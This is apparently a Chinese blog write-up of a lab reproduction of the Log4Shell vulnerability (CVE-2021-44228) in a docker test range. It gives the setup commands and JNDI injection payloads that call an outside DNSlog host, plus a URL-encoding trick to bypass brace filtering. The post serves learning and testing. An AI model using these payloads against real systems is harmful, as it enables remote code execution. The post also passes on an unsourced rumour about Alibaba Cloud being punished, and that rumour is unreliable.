Log4J2系列——靶场漏洞复现
前言
Log4J2漏洞说明:Apache Log4j2漏洞是认为是养活安全工程师的下一个漏洞。具体来说,起源于北京时间12月9号深夜,Log4j2被曝存在高危漏洞,攻击者通过jndi注入攻击的形式可以轻松远程执行任何代码。该漏洞被命名为Log4Shell,编号CVE-2021-44228,受影响的范围:Apache Log4j 2.x <= 2.15.0-rc1
番外
据传,此漏洞由阿里云最先发现,但是第一时间并没有上报给国家安全相关部门,而是告诉了国外。因此,阿里云受到了国家相关部门的惩罚。
靶场复现环境
靶机:CentOS
攻击机:CentOS
靶场复现前的准备:
在靶场复现前,靶机中需要先安装docker。此外一些网站或者帖子上提供了POC,但是这都需要基于Java,Java的版本不高于1.8,否则往往会报错。
相关命令:
1、docker pull vulfocus/log4j2-rce-2021-12-09
2、docker run -tid -p 3456:8080 vulfocus/log4j2-rce-2021-12-09
此时,使用浏览器,访问: http://192.168.250.1:3456
画面有回显,说明靶场搭建成功。
3、测试页面,发现不管payload等于什么,都回复“OK”
此时,尝试使用:${jndi:ldap://ts777b.dnslog.cn/exp}。
其中的ts777b.dnslog.cn是dns平台上的随机域名。
这里存在一个疑问,大多数帖子认为不能“GET”,需要”POST“
但是这里貌似,POST会报错,GET才行。
这里且用GET来实现。
4、打开DNS平台,DNSLog Platform
然后获取一个随机域名。
5、构造payload为${jndi:ldap://mketrp.dnslog.cn/exp}。然后采用get传参。
显示400,即错误的请求。
6、思考存在的问题。
(1)正常来测试,发现这里主要对{}产生过滤。
(2)将payload进行url编码。
这里说明,不存在长度限制,应该是有字符过滤。然后才看DNS平台,发现
此时说明已经成功了。
接下来几天,继续深入展开对Log4j2的漏洞研究。
感谢大家关注。